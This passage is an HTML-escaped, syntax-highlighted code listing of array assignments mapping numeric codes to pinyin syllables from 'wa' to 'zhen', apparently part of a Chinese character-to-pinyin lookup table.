&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12838&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wa"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12831&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12829&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12812&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12802&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12607&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12597&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"weng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12594&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12585&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"wu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12556&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12359&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xia"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12346&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12320&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xiang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12300&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xiao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12120&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12099&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12089&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xing"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12074&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xiong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12067&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xiu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12058&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;12039&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11867&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xue"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11861&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"xun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11847&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ya"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11831&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11798&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11781&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11604&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ye"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11589&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yi"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11536&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11358&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ying"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11340&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11339&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11324&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"you"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11303&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11097&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11077&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yue"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11067&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"yun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11055&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"za"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11052&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11045&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11041&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11038&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11024&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ze"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11020&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11019&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11018&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zeng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;11014&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zha"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10838&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10832&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10815&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10800&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10790&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhe"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;10780&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"zhen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
